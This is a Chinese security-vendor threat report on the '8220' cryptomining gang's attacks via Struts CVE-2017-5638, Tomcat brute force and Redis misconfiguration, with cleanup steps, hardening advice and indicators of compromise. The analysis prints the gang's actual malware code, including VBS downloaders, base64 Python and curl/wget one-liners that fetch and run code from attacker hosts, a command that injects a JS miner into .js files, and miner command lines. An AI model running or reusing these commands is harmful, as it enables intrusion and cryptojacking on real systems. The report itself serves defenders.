本帖最后由 腾讯电脑管家 于 2020-5-11 20:31 编辑
一、背景腾讯安全威胁情报中心检测到“8220”挖矿木马变种攻击。“8220”挖矿团伙擅长利用WebLogic、JBoss反序列化漏洞,Redis、Hadoop未授权访问漏洞等Web漏洞攻击服务器挖矿。近期我们发现该团伙在攻击活动中通过Apache Struts远程代码执行漏洞(CVE-2017-5638)、Tomcat弱口令爆破进行传播的木马大幅增加。 木马在横向移动阶段会利用Python实现的Redis未授权漏洞访问漏洞对随机生成的约16万个IP进行扫描攻击,并且利用植入的shell脚本hehe.sh继续利用已有公钥认证记录的机器建立SSH连接进行内网扩散,最终在失陷机器植入多款门罗币挖矿木马以及Tsunami(海啸)僵尸网络木马,后者被该团伙用来进行DDoS攻击。 “8220”挖矿木马团伙的攻击目标包括Windows和Linux服务器,在其使用的FTP服务器上,可以发现针对不同操作系统的攻击模块。该团伙释放挖矿木马时,会检查服务器是否有其他挖矿木马运行,将所有竞争挖矿木马进程结束,以独占服务器资源。 根据代码的相似性、C2关联性、挖矿时使用的相同门罗币钱包以及配置文件解密方法、相似的FTP服务器,腾讯安全专家认为,2020年初出现的StartMiner与“8220”挖矿木马属于同一团伙。该团伙当前版本恶意程序与C2服务器的通信已不再使用“8220”端口,根据近期捕获到的样本对其攻击偏好使用的文件名进行总结,发现其具有使用多种脚本包括VBS、PHP、Python、Powershell、Shell进行组合攻击的特点。
二、解决方案企业运维人员可参考以下方法手动清除Linux和Windows系统感染的挖矿木马,参考安全建议提升服务器的安全性。 1. Linux系统 a. Kill进程/tmp/sh、/tmp/x32b、/tmp/x64b b. 删除文件 /tmp/i686(md5: D4AE941C505EE53E344FB4D4C2E102B7)、 /tmp/ x86_64(md5: 9FE932AC3055045A46D44997A4C6D481) /tmp/x32b(md5: EE48AA6068988649E41FEBFA0E3B2169)、 /tmp/x64b(md5: C4D44EED4916675DD408FF0B3562FB1F)
安全建议: a. Redis 非必要情况不要暴露在公网,使用足够强壮的Redis口令 b. Tomcat服务器配置高强度密码认证 c. 设置ssh非交互方式登录时StrictHostKeyChecking=ask或StrictHostKeyChecking=yes
2. Windows系统 a. 杀死进程isassx.exe、steamhuby.exe、issaasss、isasss.exe、ready.exe、oity.exe、kkw2.exe、12.exe、13.exe、mess.exe b. 删除文件: c:\windows\temp\app.vbs c:\windows\temp\apps.vbs C:\Windows\Temp\ready.exe C:\ProgramData\guvpgnkpwv\steamhuby.exe C:\ProgramData\tumtkffywq\issaasss C:\Windows\temp\12.exe C:\Windows\temp\12.exe C:\Windows\Temp\mess.exe %HOMEPATH%\why.ps1 %HOMEPATH%\schtasks.ps1 c. 删除执行内容包含“why.ps1、why2.ps1、why3.ps1、kkmswx.ps1”的计划任务
安全建议: a. 及时修复Apache Struts高危漏洞; b. Tomcat服务器配置高强度密码认证。 推荐政府机构、大中型企业、科研单位采用腾讯安全完整解决方案全面提升信息系统的安全性。
腾讯安全解决方案部署示意图
政企用户可根据业务应用场景部署适当的安全产品,并根据腾讯安全威胁情报中心提供的情报数据配置各节点联防联动、统一协调管理,提升整体网络抗攻击能力。
腾讯安全系列产品应对8220挖矿木马的响应清单如下:
三、利用Struts漏洞(CVE-2017-5638)入侵服务器挖矿Apache Struts是一款用于创建企业级Java Web应用的开源框架,Struts2存在远程代码执行的严重漏洞(漏洞编号S2-045,CVE编号:CVE-2017-5638),并定级为高风险,影响版本范围为Struts 2.3.5 – Struts 2.3.31和Struts 2.5 – Struts 2.5.10。 该漏洞能允许黑客远程代码执行,相当于整台服务器已托管给黑客,黑客可以利用此漏洞获取web应用的源程序,修改web应用内容,获取数据库密码并盗取数据库信息,更改系统代码,更改数据库密码等等。 黑客批量扫描Web服务器并针对存在CVE-2017-5638漏洞的机器进行攻击,然后通过shell写入VBS脚本文件app.vbs并启动运行。 c:\windows\temp\app.vbs代码内容如下: Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://www.jukesxdbrxd.xyz/steamhuby.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile "C:/Windows/temp/steamhuby.exe",2 wscript.sleep 10000 Shell.Run ("C:/Windows/temp/steamhuby.exe") Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://104.244.75.25/steamhuby.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile " C:/Windows/temp/steamhuby.exe",2 wscript.sleep 10000 Shell.Run (" C:/Windows/temp/steamhuby.exe") Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://104.244.75.25/kmkww.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile " C:/Windows/temp/kmkww.exe",2 wscript.sleep 10000 Shell.Run (" C:/Windows/temp/kmkww.exe") app.vbs下载得到挖矿木马母体steamhuby.exe,该样本拷贝自身到C:\ProgramData\guvpgnkpwv\steamhuby.exe,然后访问下载解密的更新配置文件url,将挖矿配置文件信息cfg、cfgi释放到该文件夹下。
该钱包目前在公开矿池pool.hashvault.pro挖矿获得30个XMR,但是由于其使用多个私有矿池挖矿,实际收益会远大于这个数目。
漏洞攻击时利用Shell执行的另一段VBS代码apps.vbs下载的挖矿木马为ww.exe,存放至C:/Windows/temp/12.exe或C:/Windows/temp/13.exe,并直接传入挖矿参数开启挖矿。 c:\windows\temp\apps.vbs内容如下: Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://jukesbrxd.xyz/ww.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile "C:/Windows/temp/12.exe",2 wscript.sleep 10000 Shell.Run ("C:/Windows/temp/13.exe --donate-level=1 -k -o 37.59.162.30:5790 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -p x -B")
四、爆破攻击Tomcat服务器挖矿该团伙利用漏洞攻击成功后,会向目标服务器植入多款挖矿木马进行门罗币挖矿。 Tomcat 是由 Apache 开发的一个 Servlet 容器,实现了对 Servlet 和 JSP 的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等, /manager/html为tomcat自带管理功能后台,如果密码强度不高,容易被黑客破解入侵。 黑客针对Tomcat服务器进行扫描和暴力破解,然后将保存在FTP服务器上的PHP木马和VM木马下载到失陷机器,利用php木马继续下载挖矿木马。
Win.php1. 通过system执行cmd命令,利用certutil.exe下载ww.exe,存放至c:\windows\temp\kkw2.exe,传入参数开启挖矿:--donate-level=1 -k --max-cpu-usage 100 -o 23.94.24.12:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -p x -B 2. 创建脚本kkmw.txt、kksw.txt,利用ftp命令从服务器ftp[:]//107.189.11.170下载kmkww.exe、ww.exe,传入挖矿参数启动挖矿; 3. 创建下载脚本poc.vbs,并写入以下代码,下载ww.exe并启动挖矿: Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP") objXMLHTTP.open "GET","http://107.189.11.170/ww.exe",false objXMLHTTP.send() If objXMLHTTP.Status=200 Then Set objADOStream=CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type=1 objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position=0 objADOStream.SaveToFile "C:\Windows\Temp\mess.exe" objADOStream.Close Set objADOStream=NothingEnd if Set objXMLHTTP=Nothing Set objShell=CreateObject("WScript.Shell") objShell.Exec("C:\Windows\Temp\mess.exe --donate-level 1 -o 23.94.24.12:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -p x -B") 4. 通过Powershell命令下载和执行3.ps1、2.ps1。 5. 创建poc2.vbs,写入与poc.vbs类似的下载代码,下载kmkww.exe启动挖矿。
Linx.php1. 修改DNS服务器为8.8.8.8
2. 安装Linux下载工具: apt-get install wget -y;
yum install wget -y;
apt-get install curl -y;
yum install curl -y;
3. 利用多个下载工具下载bash脚本2start.jpg并执行,运行后rm -rf删除文件: get -q -O - | bash -sh; url -fsSL | bash -sh; wget -q -O - | bash -sh; curl -fsSL | bash -sh; cur -fsSL | bash -sh; lwp-download /tmp/2start.jpg; bash /tmp/2start.jpg; rm -rf 2start.jpg;
4. 解码base64编码的python脚本并运行,最后history -c删除记录。 Base64: cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xMDcuMTg5LjExLjE3MC9hLnB5IikucmVhZCgpKSc= 解码: python -c 'import urllib;exec(urllib.urlopen("http://107.189.11.170/a.py").read())' Base64: cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xMDcuMTg5LjExLjE3MC9iLnB5IikucmVhZCgpKSc= 解码: python -c 'import urllib;exec(urllib.urlopen("http://107.189.11.170/b.py").read())'
Powershell木马攻击Windows系统使用的3.ps1具有以下功能: 1. 下载ww32.exe、kkw2.exe并保存至temp目录。
2. 找到进程可能是其他挖矿木马的端口连接,杀死对应进程
3. 将Powershell脚本why.ps1、why4.ps1安装为计划任务 "Update service for Oracle productsm",并删除旧的计划任务。
4. 匹配文件名,退出杀软进程和竞品挖矿木马进程,包括ddg.exe,然后启动自己的挖矿进程kkw2.exe。
Python攻击Linux系统使用的linx.php会执行Python脚本a.py,该脚本负责下载32位、64位Linux系统版本挖矿木马i686、x86_64,并通过命令chomd设置读、写、运行三种权限,然后运行挖矿。
i686、x86_64是由XMRig程序编译的Linux版本挖矿木马
五、组建Tsunami僵尸网络进行DDoS攻击b.py则下载32位、64位基于Linux系统的Tsunami(海啸)僵尸网络木马x64b、x32b。
Tsunami会利用远程代码执行漏洞,扫描、定位和攻击脆弱的系统,攻击成功会会导致僵尸网络完全控制设备。Tsunami通过IRC协议与C2服务器通信,接收指令并发起HTTP、UDP类型的DDoS攻击。
六、横向移动利用Redis未授权访问漏洞木马用于扫描攻击的ss2.py、ss3.py经过base64编码,解码后的内容都是下载new.py执行。
new.py首先生成待攻击的IP列表IP_LIST,其中方法一位获取本机IP的A段和B段,然后依次遍历0~256,1~256组成C段和D段;方法二为随机生成10万个IP,排除内网IP地址;最后把两种方法生成的IP合并到同一个列表得到约16万个IP。
对每个IP进行6379端口(Redis服务)探测连接,如果端口开放,继续判断是否存在Redis未授权访问漏洞。 Redis在默认情况下,会绑定在0.0.0.0:6379。如果没有采取相关的安全策略会使Redis服务完全暴露在公网上。如果在没有设置密码认证(一般为空)的情况下,攻击者可以在未授权访问Redis的情况下,利用Redis自身的提供的config命令,进行文件的读写等操作,包括将自己的ssh公钥写入到目标服务器的 /root/.ssh文件夹下的authotrized_keys文件中,进而可以使用对应的私钥直接使用ssh服务登录目标服务器。
如果被扫描IP存在Redis未授权访问漏洞,通过命令将curl、wget下载执行恶意脚本hehe.sh的代码写入crontab定时任务(写入“/var/spool/cron”、“/var/spool/cron/crontabs”),每1分钟执行一次。 curl -fsSLk -max -time 40 http[:]//jukesxdbrxd.xyz/hehe.sh -o ~/.ntp || wget --quiet --no-check-certificate --timeout=40 http[:]//jukesxdbrxd.xyz/hehe.sh -o ~/.ntp
SSH连接hehe.sh继续通过基于公钥认证的SSH攻击其他机器,从/.ssh/known_hosts中获取已认证的远程主机ID,与对应的机器建立SSH连接并执行命令下载恶意脚本hehe.sh: if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then fi for file in /home/* do if test -d $file then if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then fi fi done hehe.sh还会通过crontab定时任务设置持久化,定期下载自身运行。
执行base64编码的Python脚本,重新获取Python攻击代码new.py(由ss2.py、ss3.py下载)并发起新的攻击。
I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cDovL3d3dy5qdWtlc3hkYnJ4ZC54eXovc3MzLnB5Jwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz 解码: #coding: utf-8 import urllib import base64 d= 'http://www.jukesxdbrxd.xyz/ss3.py' try: page=base64.b64decode(urllib.urlopen(d).read()) exec(page) except: Pass
挖矿木马植入hehe.sh还会查找“.js”文件并在其中插入js挖矿木马http[:]//t.cn/EvlonFh(长链接对应https[:]//xmr.omine.org/assets/v7.js) 插入命令: find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"61adfe72ae314d8f86532b3cd1c60bda\",\"-1\"\)\</script\>\'\)\; js挖矿木马所属网站:
最后下载负责运行Linux平台ELF挖矿木马的shell脚本2start.jpg、3start.jpg: if [ $? -eq 0 ] then pwd else curl -s | bash -sh wget -q -O - | bash -sh url -s | bash -sh get -q -O - | bash -sh curl -s | bash -sh wget -q -O - | bash -sh url -s | bash -sh get -q -O - | bash -sh fi 2start.jpg或3start.jpg判断Linux挖矿木马kworkerdss是否存在
不存在则下载挖矿程序x、xx,以及挖矿配置文件wt.conf。
七、关联家族分析
1.代码相似性我们取被友商划归为8220挖矿木马的Powershell脚本1.ps1与近期被友商命名为StartMiner的Powershell脚本3.ps1进行对比: 1.ps1 afd9911c85a034902cf8cca3854d4a23 (下载地址:http[:]//192.99.142.248:8220/1.ps1) 3.ps1 faf53676fa29216c14d3698ff44893c8(下载地址:http[:]//www.jukesxdbrxd.xyz/3.ps1) (注:根据木马下载核心shell脚本使用的地址http[:]//www.jukesxdbrxd.xyz/3start.jpg,www[.]jukesxdbrxd.xyz应属于StartMiner) 8220挖矿木马使用的1.ps1的主要有4个功能: 1、下载挖矿木马 2、安装计划任务执行Powershell脚本(持久化),清除旧的计划任务 3、杀死竞品挖矿木马 4、启动挖矿木马
StartMiner使用的3.ps1功能与上述1.ps1完全一致,只是在下载挖矿木马时同时下载了两个文件,因此在启动挖矿进程时也启动相应的两个,增加了通过联网端口匹配竞品挖矿进程,对清除竞品挖矿木马的文件名单进行了补充。
两者相同的清除计划任务名单: "Update service for Oracle products" "Update service for Oracle products5" "Update service for Oracle products1" "Update service for Oracle products2" "Update service for Oracle products3" "Update service for Oracle products4" "Update service for Oracle products7" "Update service for Oracle products8" "Update service for Oracle products0" "Update service for Oracle products9" "Update service for Oracle productsa" "Update service for Oracle productsc" "Update service for Oracle productsm" 两者相同的清除竞品挖矿木马进程名单: ddg.exe yam.exe miner.exe xmrig.exe nscpucnminer32.exe 1e.exe iie.exe 3.exe iee.exe ie.exe je.exe im360sd.exe iexplorer.exe imzhudongfangyu.exe 360tray.exe 360rp.exe 360rps.exe pe.exe me.exe
2.共同的C237.44.212.223,作为8220挖矿木马C2:http[:]//37.44.212.223/rig,作为StartMiner C2:http[:]//37.44.212.223/x
3.门罗币钱包“8220”挖矿木马与StartMiner挖矿木马都使用了门罗币钱包: 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ StartMiner: 由steamhuby.exe(8780219e4a6eb4bd1b618aee4167be5a)释放出挖矿配置文件cfg
“8220”挖矿木马:由antspywares.exe(4b5df24b5deda127966029ce0fd83897)释放出配置文件cfg
并且steamhuby.exe和antspywares.exe解密挖矿配置文件时创建相同的互斥量“4e064bee1f3860fd606a”,使用相同的密钥:"0125789244697858"。
4. FTP服务器都使用FTP服务器提供木马下载服务。 8220挖矿木马:ftp[:]//93.174.93.149
StartMiner:ftp[:]//107.189.11.170
基于上述特点我们认为2020年初开始出现的StartMiner与2017年被曝光的“8220”挖矿木马属于同一团伙,而该团伙在近期攻击过程中已不再具有明显的“8220”端口使用的特征。近期攻击过程中偏好使用的文件名如下: PE文件: isassx.exe、steamhuby.exe、kmkww.exe、haha.exe、hue.exe、xmrig1.exe、ww.exe、ww32.exe、x.jpeg、issaasss、xmrig.exe、ww2.exe、isasss.exe、ready.exe、oity.exe、kkw2.exe、12.exe、13.exe、mess.exe ELF文件: x86_64、i686、x64b、x32b、hxx、xx、x、1.so、Kworkerdss Linux Shell脚本: 2start.jpg、3start.jpg、response.jpeg、it.sh、go、go4、go3、hehe.sh、xdd.sh、start.sh Powershell脚本: 2.ps1、3.ps1、why.ps1、why2.ps1、why3.ps1、kkmswx.ps1 Python脚本: a.py、b.py、ss2.py、ss3.py、new.py VBS脚本: app.vbs、apps.vbs、poc.vbs PHP文件: linx.php、win.php VM文件(类似于JSP): linx.vm、win,vm、win2.vm txt文件: kmkww.txt、xmr.txt、config.txt、kkmw.txt、kksw.txt
IOCSDomain jukesbrxd.xyz www.jukesxdbrxd.xyz
IP 107.189.11.170 104.244.75.25 23.94.24.12 104.244.74.248 37.44.212.223
URL http[:]//jukesbrxd.xyz/isassx.exe http[:]//jukesbrxd.xyz/ww.exe http[:]//www.jukesxdbrxd.xyz/steamhuby.exe http[:]//www.jukesxdbrxd.xyz/new.py http[:]//www.jukesxdbrxd.xyz/xmr.txt http[:]//jukesxdbrxd.xyz/hehe.sh http[:]//104.244.75.25/steamhuby.exe http[:]//104.244.75.25/kmkww.exe http[:]//104.244.75.25/i686 http[:]//37.44.212.223/haha.exe http[:]//37.44.212.223/hue.exe http[:]//37.44.212.223/xmrig1.exe http[:]//37.44.212.223/xdxd.txt http[:]//107.189.11.170/a.py http[:]//107.189.11.170/b.py http[:]//107.189.11.170/3.ps1 ftp[:]//107.189.11.170/kmkww.exe ftp[:]//107.189.11.170/linx.php ftp[:]//107.189.11.170/linx.vm ftp[:]//107.189.11.170/win.php ftp[:]//107.189.11.170/win.vm ftp[:]//107.189.11.170/win2.vm ftp[:]//107.189.11.170/ww.exe http[:]//107.189.11.170/x64b http[:]//107.189.11.170/x32b http[:]//185.153.180.59/isassx.exe http[:]//104.244.74.248/x86_64 http[:]//23.94.24.12/kmkww.txt
MD5
矿池: 37.59.162.30:5790 23.94.24.12:8080 pool.hashvault.pro:80
钱包: 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ
参考链接: 新型IoT/Linux恶意软件针对DVR攻击组成僵尸网络
疑似国内来源的“8220挖矿团伙”追踪溯源分析
“8220团伙”最新活动分析:挖矿木马与勒索病毒共舞
8220团伙新动向:利用Aapche Struts高危漏洞入侵,Windows、Linux双平台挖矿
抗“疫”时期,谨防服务器被StartMiner趁机挖矿!
|